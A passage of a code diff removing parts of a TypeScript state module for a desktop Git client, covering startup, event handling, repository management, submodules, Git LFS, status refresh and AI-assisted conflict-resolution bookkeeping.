settings?.theme ?? 'system'; - const dark = theme === 'dark' || (theme === 'system' && systemDark); - document.documentElement.dataset.theme = dark ? 'dark' : 'light'; - // Browser/PWA chrome (status bar, address bar) matches the toolbar surface, --bg-subtle. - document.querySelector('meta[name="theme-color"]')?.setAttribute('content', dark ? '#161b22' : '#f6f8fa'); - store.set({ dark }); -} - -let bootstrapped = false; - -export async function bootstrap(): Promise { - if (bootstrapped) return; - bootstrapped = true; - const settingsPromise = invoke('app.settings.get'); - const toolsPromise = invoke('app.tools', false); - const reposPromise = invoke('repos.list'); - const updateStatePromise = invoke('app.update.state'); - const toolsWithStore = toolsPromise.then((tools) => { store.set({ tools }); return tools; }); - const updateStateWithStore = updateStatePromise.then((updateState) => { store.set({ updateState }); return updateState; }); - const [settings, repos] = await Promise.all([settingsPromise, reposPromise]); - store.set({ settings, repos }); - applyTheme(settings, store.get().dark); - document.documentElement.style.setProperty('--diff-font-size', `${settings.diffFontSize}px`); - - on('settings.changed', (s) => { - store.set({ settings: s }); - applyTheme(s, store.get().dark); - document.documentElement.style.setProperty('--diff-font-size', `${s.diffFontSize}px`); - }); - on('theme.changed', ({ dark }) => { - store.set({ dark }); - applyTheme(store.get().settings, dark); - }); - on('tools.changed', (t) => { - const hadGit = store.get().tools?.git.installed ?? false; - const hadAccount = !!store.get().tools?.ghAccount; - store.set({ tools: t }); - if (t.git.installed && !hadGit && store.get().currentRepo && !store.get().status) { - void refreshAll().then(() => loadHistory(true)); - } - if (t.ghAccount && !hadAccount) void loadInboxState(); - }); - on('repos.changed', (list) => { - const current = store.get().currentRepo; - store.set({ repos: list, currentRepo: current ? list.find((r) => r.id === current.id) ?? current : null }); - }); - on('progress', (p) => { - store.set((s) => { - const next = { ...s.progress }; - if (p.done) delete next[p.id]; - else next[p.id] = p; - return { progress: next }; - }); - }); - on('repo.changed', ({ repoPath, reason }) => { - const repo = store.get().currentRepo; - if (!repo || repo.path !== repoPath) return; - void handleRepoChanged(reason); - }); - on('menu.action', ({ action, args }) => { - if (action === 'protocol-open') void handleProtocolOpen(args as { url: string; branch: string | null; filepath: string | null }); - else if (action === 'protocol-review-rerun') void handleProtocolReviewRerun(args as { repoPath: string }); - else void handleMenuAction(action, args); - }); - on('gh.auth.code', ({ code, url }) => store.set((s) => ({ login: { ...s.login, code, url } }))); - on('gh.auth.finished', ({ ok, error }) => { - store.set((s) => ({ login: { ...s.login, inProgress: false, error: ok ? null : error } })); - if (ok) { - showToast({ kind: 'success', title: 'Signed in to GitHub' }); - void refreshTools(); - } - }); - on('ai.progress', (e) => { - store.set((s) => ({ ai: { ...s.ai, [e.path]: e } })); - if (e.phase === 'done' || e.phase === 'error') { - setTimeout(() => store.set((s) => { - const next = { ...s.ai }; - if (next[e.path]?.phase === e.phase) delete next[e.path]; - return { ai: next }; - }), 4000); - } - }); - on('ai.review.progress', (e) => (store.get().precommitReview.running ? handlePrecommitReviewProgress(e) : handleReviewProgress(e))); - on('ai.nl.progress', (e) => { - if (store.get().currentRepo?.path !== e.repoPath || e.phase === 'awaiting-confirmation') return; - const phase = e.phase; - const stepId = e.stepId; - patchNlPalette((p) => ({ stepPhase: { ...p.stepPhase, [stepId]: phase } })); - }); - on('ai.split.progress', handleSplitProgress); - on('ai.rebase.progress', handleRebaseProgress); - on('ai.triage.progress', (e) => { - if (store.get().currentRepo?.path !== e.repoPath) return; - patchTriage({ progress: { done: e.done, total: e.total } }); - }); - on('app.update.changed', (state) => store.set({ updateState: state })); - on('window.focus', ({ focused }) => { - store.set({ focused }); - if (focused && store.get().currentRepo) void refreshStatus(); - }); - initInbox(); - - setInterval(() => void pollPullRequestNotifications(), 3 * 60_000); - - const candidates = repos.filter((r) => !r.missing).sort((a, b) => b.lastOpened - a.lastOpened); - if (candidates.length) await openRepository(candidates[0]); - const [tools] = await Promise.all([toolsWithStore, updateStateWithStore]); - - if (tools.ghAccount) void loadInboxState(); - void invoke('app.tools', true).then((t) => store.set({ tools: t })); -} - -/** Handles "Open with GitHub Desktop"-style links: open the repo if known, otherwise offer to clone it. */ -async function handleProtocolOpen(target: { url: string; branch: string | null; filepath: string | null }): Promise { - const normalized = target.url.replace(/\.git$/i, '').toLowerCase(); - const repos = store.get().repos; - const match = repos.find((r) => r.github && r.github.url.toLowerCase() === normalized && !r.missing); - if (!match) { - openDialog({ kind: 'clone', url: target.url }); - return; - } - await openRepository(match); - if (target.branch) { - const branch = store.get().branches.find((b) => b.kind === 'local' && b.name === target.branch) ?? store.get().branches.find((b) => b.kind === 'remote' && b.name === `origin/${target.branch}`); - if (branch && !branch.isCurrent) await checkoutBranch(branch); - else if (!branch) showToast({ kind: 'info', title: `Branch ${target.branch} not found`, message: 'Fetch to see new branches from GitHub.', action: { label: 'Fetch', onClick: () => void fetchRemote() } }); - } - if (target.filepath) { - const file = store.get().status?.files.find((f) => f.path === target.filepath); - if (file) selectWorkingFile(file.path); - } -} - -async function pollPullRequestNotifications(): Promise { - const s = store.get(); - if (!s.currentRepo?.github || !s.tools?.ghAccount || !s.settings) return; - const before = s.prs.current; - await loadCurrentPullRequest(true); - const after = store.get().prs.current; - if (!before || !after || before.number !== after.number) return; - if (s.settings.notifyPullRequestChecks && before.checks.state !== 'failure' && after.checks.state === 'failure') { - void invoke('app.notify', `Checks failed on pull request #${after.number}`, after.title); - showToast({ kind: 'error', title: `Checks failed on #${after.number}`, message: after.title, action: { label: 'View', onClick: () => openDialog({ kind: 'pr-details', pr: after }) } }, 15000); - } - if (s.settings.notifyPullRequestReviews && before.reviewDecision !== after.reviewDecision && after.reviewDecision) { - const label = after.reviewDecision.toLowerCase().replace(/_/g, ' '); - void invoke('app.notify', `Pull request #${after.number}: ${label}`, after.title); - showToast({ kind: after.reviewDecision === 'APPROVED' ? 'success' : 'info', title: `Pull request #${after.number} ${label}`, message: after.title, action: { label: 'View', onClick: () => openDialog({ kind: 'pr-details', pr: after }) } }, 15000); - } -} - -export async function refreshTools(): Promise { - const tools = await invoke('app.tools', true); - store.set({ tools }); -} - -/** Called after saving signing config from Options → Git, so the commit form's signing indicator re-fetches immediately without needing a repo switch. */ -export function bumpSigningConfigVersion(): void { - store.set((s) => ({ signingConfigVersion: s.signingConfigVersion + 1 })); -} - -/** Called after a settings-sync action completes, so any mounted sync card re-fetches status — needed because enable/download/disconnect run behind a confirm dialog, which remounts the card mid-action (see SettingsSyncCard). */ -export function bumpSettingsSyncVersion(): void { - store.set((s) => ({ settingsSyncVersion: s.settingsSyncVersion + 1 })); -} - -/** The main process already coalesces watcher bursts (watcher.ts DEBOUNCE_MS); a second debounce here only added latency. Status refreshes dedupe via statusInFlight. */ -async function handleRepoChanged(reason: 'worktree' | 'refs' | 'both'): Promise { - clearBlameCache(); - await refreshStatus(); - if (reason !== 'worktree') { - await Promise.all([refreshBranches(), refreshStashes()]); - if (store.get().view === 'history') await loadHistory(true); - else patchHistory({ stale: true }); - } - await loadDiff(true); - if (store.get().precommitReview.run) void refreshPrecommitStaleness(); - const repo = store.get().currentRepo; - if (repo && reason !== 'refs') void pruneStaleConflictTints(repo.path); -} - -// --------------------------------------------------------------------------- -// Errors & operations -// --------------------------------------------------------------------------- - -export function showError(title: string, err: unknown, retry?: () => void): void { - const info = errorInfo(err); - if (info.code === 'cancelled') return; - if (info.code === 'gh-not-authenticated') { - openDialog({ kind: 'sign-in' }); - return; - } - if (info.code === 'ai-not-configured') { - showToast({ kind: 'warning', title: 'AI is not configured', message: info.message, action: { label: 'Open AI settings', onClick: () => openDialog({ kind: 'settings', tab: 'ai' }) } }, 10000); - return; - } - if (info.code === 'stash-missing') { - showToast({ kind: 'warning', title: 'Stash no longer exists', message: 'The stash list has been refreshed.' }); - void refreshStashes(); - return; - } - openDialog({ kind: 'error', title, error: info, retry }); -} - -/** Runs a long git operation, surfacing it in the toolbar and reporting errors. */ -export async function runOperation(label: string, fn: () => Promise, opts: { silent?: boolean; refresh?: boolean } = {}): Promise { - store.set({ operation: label }); - try { - const result = await fn(); - return result; - } catch (err) { - if (!opts.silent) { - const info = errorInfo(err); - if ((info.code === 'signing-failed' || info.code === 'signing-key-missing') && await leavesRebaseInProgress()) { - const repo = store.get().currentRepo; - if (repo) { - openDialog({ - kind: 'signing-failed', - error: info, - onRetry: () => void runOperation(label, () => invoke('git.rebase.continue', repo.path)), - onUnsigned: () => void runOperation(label, () => invoke('git.rebase.continue', repo.path, true)), - }); - } else { - showError(`${label} failed`, err); - } - } else { - showError(`${label} failed`, err); - } - } - return undefined; - } finally { - store.set({ operation: null }); - if (opts.refresh !== false) void refreshAll(); - } -} - -/** Squash/reword/drop/reorder/rebase all rewrite history via `git rebase [-i]`; when one of them fails to sign a commit, git pauses mid-rebase (like a conflict) rather than aborting (see runInteractiveRebase). Re-checks status so the signing-failed dialog is only offered while that pause is real. */ -async function leavesRebaseInProgress(): Promise { - await refreshStatus(); - return store.get().status?.operation.kind === 'rebase'; -} - -function reportOutcome(outcome: OperationOutcome | undefined, verb: string): void { - if (!outcome) return; - if (outcome.status === 'conflicts') { - void refreshAll().then(() => openDialog({ kind: 'conflicts' })); - } else if (outcome.status === 'up-to-date') { - showToast({ kind: 'info', title: 'Already up to date' }); - } else if (outcome.status === 'complete') { - showToast({ kind: 'success', title: `${verb} complete` }); - } -} - -// --------------------------------------------------------------------------- -// Repositories -// --------------------------------------------------------------------------- - -export async function openRepository(repo: RepositoryInfo): Promise { - if (repo.missing) { - showError('Repository not found', new Error(`The folder "${repo.path}" no longer exists. Remove the repository from the list or restore the folder.`)); - return; - } - const previous = store.get().currentRepo; - if (previous && previous.path !== repo.path) void invoke('repo.close', previous.path); - store.set({ - currentRepo: repo, - status: null, - branches: [], - stashes: [], - tags: [], - remotes: [], - changes: initialChanges, - history: initialHistory, - stashesView: initialStashesView, - diff: initialDiff, - review: initialReview, - precommitReview: initialPrecommitReview, - // All three outlive a repository switch otherwise: the explain panel stays - // open over the new repo's diff, and the palette keeps the previous repo's - // plan and history with its steps still runnable. `width` is a persisted UI - // preference, not repo state, so it is carried across. - explain: { ...initialExplain, width: store.get().explain.width }, - errorExplain: initialErrorExplain, - nlPalette: initialNlPalette, - prs: { list: [], loading: false, current: null, loadedAt: 0, error: null }, - triage: initialTriage, - popover: null, - lastSuccessfulMerge: null, - }); - document.title = `${repo.alias ?? repo.name} — GitGood`; - try { - const opened = await invoke('repo.open', repo.path); - store.set((s) => ({ currentRepo: { ...(s.currentRepo ?? opened), github: opened.github }, repos: s.repos.map((r) => (r.id === opened.id ? { ...r, github: opened.github, lastOpened: Date.now() } : r)) })); - } catch (err) { - showError('Could not open repository', err); - return; - } - await refreshAll(); - await loadHistory(true); - void loadCurrentPullRequest(); -} - -export async function addLocalRepository(path: string): Promise { - try { - const repo = await invoke('repos.add', path); - closeAllDialogs(); - await openRepository(repo); - } catch (err) { - showError('Could not add repository', err); - } -} - -/** One sentence for a finished watched-folder scan, for the toast and the Options summary. */ -export function describeScanResult(result: RepositoryScanResult): string { - if (result.alreadyRunning) return 'A scan is already running.'; - // A scan that added nothing says so outright, whatever else it did: "12 - // already known" on its own reads as though something was found. - const parts: string[] = [result.added ? `${result.added} ${result.added === 1 ? 'repository' : 'repositories'} added` : 'No new repositories found']; - if (result.dropped) parts.push(`${result.dropped} removed (no longer on disk)`); - if (result.skipped) parts.push(`${result.skipped} already known or excluded`); - if (result.failed) parts.push(`${result.failed} could not be added`); - if (result.unreadable) parts.push(`${result.unreadable} ${result.unreadable === 1 ? 'folder' : 'folders'} could not be read`); - const summary = parts.join(' · '); - return result.cancelled ? `Scan cancelled — ${summary.charAt(0).toLowerCase()}${summary.slice(1)}` : summary; -} - -/** Scans every watched folder from the UI (menu, Options) and reports the outcome. */ -export async function scanWatchedFolders(): Promise { - try { - const result = await invoke('repos.scanWatchedFolders'); - store.set({ repos: await invoke('repos.list') }); - showToast({ - kind: result.unreadable && !result.added ? 'warning' : 'info', - title: result.cancelled ? 'Watched folder scan cancelled' : 'Watched folders scanned', - message: describeScanResult(result), - }); - } catch (err) { - showError('Could not scan watched folders', err); - } -} - -export async function removeRepository(repo: RepositoryInfo, moveToTrash: boolean): Promise { - try { - await invoke('repos.remove', repo.id, moveToTrash); - const list = await invoke('repos.list'); - store.set({ repos: list }); - const current = store.get().currentRepo; - // Removing a main repository also drops its worktrees from the list; if one of them was open, switch away too. - if (current && (current.id === repo.id || current.worktreeOf === repo.id)) { - const next = list.filter((r) => !r.missing).sort((a, b) => b.lastOpened - a.lastOpened)[0]; - if (next) await openRepository(next); - else { - store.set({ currentRepo: null, status: null, branches: [], changes: initialChanges, history: initialHistory, stashesView: initialStashesView, diff: initialDiff }); - document.title = 'GitGood'; - } - } - } catch (err) { - showError('Could not remove repository', err); - } -} - -export async function refreshAll(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - await Promise.all([refreshStatus(), refreshBranches(), refreshStashes(), refreshRemotes(), refreshSubmodulesAndLfs()]); -} - -/** Refreshes the submodule list and LFS status, which drive the post-clone banner, the LFS install banner and both dialogs. */ -export async function refreshSubmodulesAndLfs(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - const [submodules, lfsStatus] = await Promise.all([invoke('repo.submodules', repo.path), invoke('repo.lfs.status', repo.path)]); - if (store.get().currentRepo?.path !== repo.path) return; - const hadUninitialized = store.get().submodules.some((s) => s.state === 'uninitialized'); - const hasUninitialized = submodules.some((s) => s.state === 'uninitialized'); - store.set({ submodules, lfsStatus, submoduleBannerDismissed: hasUninitialized && hadUninitialized ? store.get().submoduleBannerDismissed : false }); - } catch { - /* best-effort; the banners and dialogs simply show nothing until the next refresh */ - } -} - -// --------------------------------------------------------------------------- -// Submodules -// --------------------------------------------------------------------------- - -export async function initializeAndUpdateAllSubmodules(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.submodule.update', repo.path, null, true); - showToast({ kind: 'success', title: 'Submodules initialized and updated' }); - } catch (err) { - showError('Could not initialize submodules', err); - } finally { - await refreshSubmodulesAndLfs(); - } -} - -export async function updateSubmodule(path: string, init: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.submodule.update', repo.path, [path], init); - showToast({ kind: 'success', title: `Updated ${path}` }); - } catch (err) { - showError(`Could not update ${path}`, err); - } finally { - await refreshSubmodulesAndLfs(); - await refreshStatus(); - } -} - -/** "Update to recorded commit" from the diff pane's submodule summary. */ -export async function updateSubmoduleToRecorded(path: string): Promise { - await updateSubmodule(path, false); -} - -export async function syncSubmoduleUrls(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.submodule.sync', repo.path); - showToast({ kind: 'success', title: 'Submodule URLs synced' }); - } catch (err) { - showError('Could not sync submodule URLs', err); - } finally { - await refreshSubmodulesAndLfs(); - } -} - -export async function openSubmoduleAsRepository(path: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - const info = await invoke('repo.submodule.open', repo.path, path); - const list = await invoke('repos.list'); - store.set({ repos: list }); - closeAllDialogs(); - await openRepository(list.find((r) => r.id === info.id) ?? info); - } catch (err) { - showError(`Could not open ${path} as a repository`, err); - } -} - -// --------------------------------------------------------------------------- -// Git LFS -// --------------------------------------------------------------------------- - -export async function installLfsHooks(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.lfs.install', repo.path); - showToast({ kind: 'success', title: 'Git LFS hooks installed' }); - } catch (err) { - showError('Could not install Git LFS hooks', err); - } finally { - await refreshSubmodulesAndLfs(); - } -} - -export async function setLfsTracking(pattern: string, track: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo || !pattern.trim()) return; - try { - await invoke('git.lfs.track', repo.path, pattern.trim(), track); - showToast({ kind: 'success', title: track ? `Now tracking ${pattern}` : `Stopped tracking ${pattern}` }); - } catch (err) { - showError(track ? `Could not track ${pattern}` : `Could not untrack ${pattern}`, err); - } finally { - await refreshSubmodulesAndLfs(); - await refreshStatus(); - } -} - -export async function fetchLfsObjects(mode: 'fetch-all' | 'pull', paths: string[] | null): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.lfs.fetch', repo.path, mode, paths); - showToast({ kind: 'success', title: mode === 'fetch-all' ? 'Fetched LFS objects' : 'Pulled LFS objects' }); - } catch (err) { - showError('Could not fetch LFS objects', err); - } finally { - await refreshSubmodulesAndLfs(); - } -} - -/** "Download" on a missing LFS object in the diff pane: pulls just that path, then reloads the diff. */ -export async function downloadLfsObject(path: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.lfs.fetch', repo.path, 'pull', [path]); - await loadDiff(true); - } catch (err) { - showError(`Could not download ${path}`, err); - } -} - -export async function pruneLfsObjects(): Promise<{ objects: number; bytes: number } | null> { - const repo = store.get().currentRepo; - if (!repo) return null; - try { - const result = await invoke('git.lfs.prune', repo.path, false); - showToast({ kind: 'success', title: `Pruned ${result.objects} object${result.objects === 1 ? '' : 's'}` }); - return result; - } catch (err) { - showError('Could not prune Git LFS objects', err); - return null; - } finally { - await refreshSubmodulesAndLfs(); - } -} - -let statusInFlight: Promise | null = null; -export async function refreshStatus(): Promise { - if (statusInFlight) return statusInFlight; - const repo = store.get().currentRepo; - if (!repo) return; - statusInFlight = (async () => { - store.set({ statusLoading: true }); - try { - const status = await invoke('repo.status', repo.path); - if (store.get().currentRepo?.path !== repo.path) return; - applyStatus(status); - } catch (err) { - const info = errorInfo(err); - if (info.code === 'not-a-repository' || info.code === 'tool-missing') { - store.set({ status: null }); - } else { - showToast({ kind: 'error', title: 'Could not read repository status', message: info.message }); - } - } finally { - store.set({ statusLoading: false }); - statusInFlight = null; - } - })(); - return statusInFlight; -} - -function applyStatus(status: RepositoryStatus): void { - const s = store.get(); - const paths = new Set(status.files.map((f) => f.path)); - const changes = { ...s.changes }; - changes.selectedPaths = changes.selectedPaths.filter((p) => paths.has(p)); - changes.excluded = changes.excluded.filter((p) => paths.has(p)); - changes.partial = Object.fromEntries(Object.entries(changes.partial).filter(([p]) => paths.has(p))); - if (!changes.selectedPaths.length && status.files.length) changes.selectedPaths = [status.files[0].path]; - const previousConflicts = s.status?.hasConflicts ?? false; - store.set({ status, changes }); - if (store.get().view === 'changes') void loadDiff(); - if (previousConflicts && !status.hasConflicts && status.operation.kind === 'none' && s.status?.operation.kind === 'merge') { - store.set({ lastSuccessfulMerge: { branch: s.status.operation.targetName ?? 'branch', at: Date.now() } }); - } - // Guided examples, confidence tints and the check banner only make sense while an operation is - // in progress; once it ends (completed or aborted) they are discarded, matching the resolver's - // own in-memory example lifetime (cleared when getStatus reports operation.kind === 'none'). - if (status.operation.kind === 'none') { - if (Object.keys(s.conflictResolutions).length || Object.keys(s.conflictOriginals).length || s.conflictExamples.length || s.checkBanner) { - store.set({ conflictResolutions: {}, conflictSnapshots: {}, conflictBlockRanges: {}, conflictOriginals: {}, conflictExamples: NO_CONFLICT_EXAMPLES, checkBanner: null }); - } - } else if (s.currentRepo) { - void refreshConflictExamples(s.currentRepo.path); - } -} - -// --------------------------------------------------------------------------- -// Conflict resolution: confidence tints, examples and post-resolution checks -// --------------------------------------------------------------------------- - -/** Records a resolution's per-block confidence/ranges for the diff pane's tint layer and the conflicts dialog, and shows/updates the check-failed banner. `retried` marks the banner as having already had its one "Ask AI to fix" retry. */ -async function recordConflictResolution(repoPath: string, result: ConflictResolutionResult, retried = false): Promise { - if (!result.ok) return; - let snapshot: string | null = null; - try { - snapshot = await invoke('repo.readFile', repoPath, result.path); - } catch { - snapshot = null; - } - store.set((s) => ({ - conflictResolutions: { ...s.conflictResolutions, [result.path]: result }, - conflictSnapshots: snapshot !== null ? { ...s.conflictSnapshots, [result.path]: snapshot } : s.conflictSnapshots, - conflictBlockRanges: { ...s.conflictBlockRanges, [result.path]: result.blocks.map((b) => ({ id: b.id, ...b.range })) }, - })); - if (result.check && !result.check.ok) { - store.set({ checkBanner: { path: result.path, result: result.check, retried, original: result.original ?? '' } }); - } else if (store.get().checkBanner?.path === result.path) { - store.set({ checkBanner: null }); - } -} - -export async function refreshConflictExamples(repoPath: string): Promise { - try { - const examples = await invoke('ai.resolve.examples', repoPath); - store.set({ conflictExamples: examples.length ? examples : NO_CONFLICT_EXAMPLES }); - } catch { - /* ignore */ - } -} - -/** Re-checks every path with an active confidence tint against what is actually on disk, dropping any whose content no longer matches the snapshot taken right after it was resolved (see the "Tints cleared on external edit" scenario). */ -async function pruneStaleConflictTints(repoPath: string): Promise { - const tracked = Object.keys(store.get().conflictResolutions); - if (!tracked.length) return; - await Promise.all( - tracked.map(async (path) => { - const expected = store.get().conflictSnapshots[path]; - if (expected === undefined) return; - let actual: string | null; - try { - actual = await invoke('repo.readFile', repoPath, path); - } catch { - actual = null; - } - if (actual !== expected) { - store.set((s) => { - const conflictResolutions = { ...s.conflictResolutions }; - delete conflictResolutions[path]; - const conflictSnapshots = { ...s.conflictSnapshots }; - delete conflictSnapshots[path]; - const conflictBlockRanges = { ...s.conflictBlockRanges }; - delete conflictBlockRanges[path]; - return { conflictResolutions, conflictSnapshots, conflictBlockRanges, checkBanner: s.checkBanner?.path === path ? null : s.checkBanner }; - }); - } - }), - ); -} - -/** Captures the pre-resolution conflicted content the first time a path is seen as conflicted, so a later manual resolution can be recorded as a worked example. A no-op once already captured (edits after the first load must not overwrite the true original). */ -function captureConflictOriginal(path: string, content: string): void { - store.set((s) => (s.conflictOriginals[path] !== undefined ? {} : { conflictOriginals: { ...s.conflictOriginals, [path]: content } })); -} - -/** Shows the one-time trust confirmation for a repository's `.gitgood/config.json` check command, when the setting allows repo commands and the repository has never been asked. Resolves once the user has answered (either way); the caller proceeds with resolving regardless — declining only disables the repo *check*, not AI resolution. */ -async function ensureCheckTrustPrompted(repoPath: string): Promise { - const settings = store.get().settings; - if (!settings?.ai.postResolveCheckFromRepo) return; - let info: { command: string | null; trustState: 'trusted' | 'declined' | 'unknown' }; - try { - info = await invoke('repo.checkConfig', repoPath); - } catch { - return; - } - if (!info.command || info.trustState !== 'unknown') return; - const command = info.command; - await new Promise((resolvePromise) => { - openDialog({ - kind: 'trust-repo-check', - repoPath, - command, - onDecision: (accept) => { - closeDialog(); - void invoke('repo.trustConfig', repoPath, accept).finally(resolvePromise); - }, - }); - }); -} - -export function dismissCheckBanner(): void { - store.set({ checkBanner: null }); -} - -/** The check-failed banner's single allowed retry: re-resolves the file with the failing check's command/output tail fed back to the model. */ -export async function retryResolutionWithCheckOutput(path: string): Promise { - const repo = store.get().currentRepo; - const banner = store.get().checkBanner; - if (!repo || !banner || banner.path !== path) return; - store.set({ aiBusy: true }); - try { - const result = await invoke('ai.resolve', repo.path, path, { command: banner.result.command, tail: banner.result.outputTail, original: banner.original }); - handleResolution(result); - await recordConflictResolution(repo.path, result, true); - } catch (err) { - showError('AI resolution failed', err); - } finally { - store.set({ aiBusy: false }); - await refreshStatus(); - await loadDiff(true); - } -} - -export async function refreshBranches(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - const [branches, defaultBranch] = await Promise.all([invoke('repo.branches', repo.path), invoke('repo.defaultBranch', repo.path)]); - if (store.get().currentRepo?.path !== repo.path) return; - store.set({ branches, defaultBranch }); - } catch { - /* status refresh reports errors */ - } -} - -export async function refreshStashes(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - const stashes = await invoke('repo.stashes', repo.path); - if (store.get().currentRepo?.path !== repo.path) return; - store.set({ stashes }); - // The selected stash may have been dropped or applied from outside the app; fall back to an empty selection without erroring. - const selectedSha = store.get().stashesView.selectedSha; - if (selectedSha && !stashes.some((st) => st.sha === selectedSha)) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); - } catch { - /* ignore */ - } -} - -export async function refreshRemotes(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - const remotes = await invoke('repo.remotes', repo.path); - if (store.get().currentRepo?.path === repo.path) store.set({ remotes }); - } catch { - /* ignore */ - } -} - -export async function loadTags(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - store.set({ tags: await invoke('repo.tags', repo.path) }); - } catch (err) { - showToast({ kind: 'error', title: 'Could not load tags', message: errorMessage(err) }); - } -} - -// --------------------------------------------------------------------------- -// View & selection -// --------------------------------------------------------------------------- - -export function setView(view: View): void { - if (store.get().view === view) return; - store.set({ view, phonePane: 'list' }); - if (view === 'history') { - const h = store.get().history; - if (!h.commits.length || h.stale) void loadHistory(true); - else if (!h.selectedShas.length) selectCommit(h.commits[0].sha); - } else if (view === 'stashes') { - void loadStashesView(); - } - void loadDiff(); -} - -export function selectWorkingFile(path: string, opts: { toggle?: boolean; range?: boolean } = {}): void { - const s = store.get(); - const files = s.status?.files ?? []; - let selected: string[]; - if (opts.toggle) { - selected = s.changes.selectedPaths.includes(path) ? s.changes.selectedPaths.filter((p) => p !== path) : [...s.changes.selectedPaths, path]; - } else if (opts.range && s.changes.selectedPaths.length) { - const anchor = s.changes.selectedPaths[0]; - const a = files.findIndex((f) => f.path === anchor); - const b = files.findIndex((f) => f.path === path); - const [lo, hi] = a < b ? [a, b] : [b, a]; - selected = [anchor, ...files.slice(lo, hi + 1).map((f) => f.path).filter((p) => p !== anchor)]; - } else { - selected = [path]; - } - patchChanges({ selectedPaths: selected }); - void loadDiff(); -} - -export function toggleIncluded(path: string): void { - const s = store.get(); - const excluded = new Set(s.changes.excluded); - const partial = { ...s.changes.partial }; - if (excluded.has(path)) { - excluded.delete(path); - } else if (partial[path]) { - delete partial[path]; - } else { - excluded.add(path); - } - patchChanges({ excluded: [...excluded], partial }); - if (s.changes.selectedPaths[0] === path) patchDiff({ selectedLines: null }); - syncPrecommitReviewSelection(); -} - -export function setAllIncluded(included: boolean): void { - const s = store.get(); - patchChanges({ excluded: included ? [] : (s.status?.files ?? []).map((f) => f.path), partial: {} }); - patchDiff({ selectedLines: null }); - syncPrecommitReviewSelection(); -} - -export function isIncluded(path: string): 'all' | 'none' | 'partial' { - const s = store.get(); - if (s.changes.excluded.includes(path)) return 'none'; - if (s.changes.partial[path]) return 'partial'; - return 'all'; -} - -/** Updates the partial selection for the currently displayed working file. */ -export function setLineSelection(path: string, selected: Set, total: number): void { - const s = store.get(); - const excluded = new Set(s.changes.excluded); - const partial = { ...s.changes.partial }; - if (selected.size === 0) { - excluded.add(path); - delete partial[path]; - patchDiff({ selectedLines: [] }); - } else if (selected.size >= total) { - excluded.delete(path); - delete partial[path]; - patchDiff({ selectedLines: null }); - } else { - excluded.delete(path); - partial[path] = [...selected]; - patchDiff({ selectedLines: [...selected] }); - } - patchChanges({ excluded: [...excluded], partial }); -} - -export function selectCommit(sha: string, opts: { toggle?: boolean; range?: boolean } = {}): void { - const s = store.get(); - let selected: string[]; - if (opts.toggle) { - selected = s.history.selectedShas.includes(sha) ? s.history.selectedShas.filter((x) => x !== sha) : [...s.history.selectedShas, sha]; - } else if (opts.range && s.history.selectedShas.length) { - const anchor = s.history.selectedShas[0]; - const a = s.history.commits.findIndex((c) => c.sha === anchor); - const b = s.history.commits.findIndex((c) => c.sha === sha); - const [lo, hi] = a < b ? [a, b] : [b, a]; - selected = [anchor, ...s.history.commits.slice(lo, hi + 1).map((c) => c.sha).filter((x) => x !== anchor)]; - } else { - selected = [sha]; - } - patchHistory({ selectedShas: selected, detailsError: null, details: selected.length === 1 && s.history.details?.commit.sha === selected[0] ? s.history.details : null, selectedFile: selected.length === 1 && s.history.details?.commit.sha === selected[0] ? s.history.selectedFile : null }); - if (selected.length === 1) void loadCommitDetails(selected[0]); - else void loadDiff(); -} - -export function selectCommitFile(path: string): void { - patchHistory({ selectedFile: path }); - void loadDiff(); -} - -export async function loadCommitDetails(sha: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - patchHistory({ detailsLoading: true, detailsError: null }); - try { - const details = await invoke('repo.commit.details', repo.path, sha); - const h = store.get().history; - if (h.selectedShas[0] !== sha || h.selectedShas.length !== 1) { - patchHistory({ detailsLoading: false }); - return; - } - // A content/regex search narrows the file list to files whose diff actually matched. - let matchingFiles: string[] | null = null; - if (h.query.content || h.query.diffRegex) { - try { - matchingFiles = await invoke('repo.history.matchingFiles', repo.path, sha, h.query); - } catch { - matchingFiles = null; - } - if (store.get().history.selectedShas[0] !== sha || store.get().history.selectedShas.length !== 1) { - patchHistory({ detailsLoading: false }); - return; - } - } - const visibleFiles = matchingFiles ? details.files.filter((f) => matchingFiles!.includes(f.path)) : details.files; - // In file-history mode, prefer the tracked file's name *at this commit* (it may differ across renames). - const pathAtCommit = h.path ? h.pathHistory?.find((e) => e.sha === sha)?.path ?? h.path : null; - const preferred = pathAtCommit && visibleFiles.some((f) => f.path === pathAtCommit) ? pathAtCommit : null; - const selectedFile = preferred ?? (h.selectedFile && visibleFiles.some((f) => f.path === h.selectedFile) ? h.selectedFile : visibleFiles[0]?.path ?? null); - patchHistory({ details, detailsLoading: false, selectedFile, matchingFiles, detailsError: null }); - void loadDiff(); - } catch (err) { - patchHistory({ detailsLoading: false, detailsError: errorMessage(err) }); - showToast({ kind: 'error', title: 'Could not load commit', message: errorMessage(err) }); - } -} - -/** True while any text/structured filter is active (drag-to-reorder and the legacy "search" positional args are disabled while this is true). */ -export function historyFilterActive(h = store.get().history): boolean { - return !!h.search.trim(); -} - -/** - * True while the history list is showing a subset of the branch, so - * drag-to-reorder must be off: adjacent rows are not adjacent commits, and - * dropping one onto the next would reorder across everything in between. - * Broader than `historyFilterActive`, which only covers the text filter — - * file-history mode sets `path` with an empty `search`. - */ -export function historyReorderDisabled(h = store.get().history): boolean { - return historyFilterActive(h) || !!h.path; -} - -let slowSearchTimer: ReturnType | null = null; - -export async function loadHistory(reset: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const h = store.get().history; - if 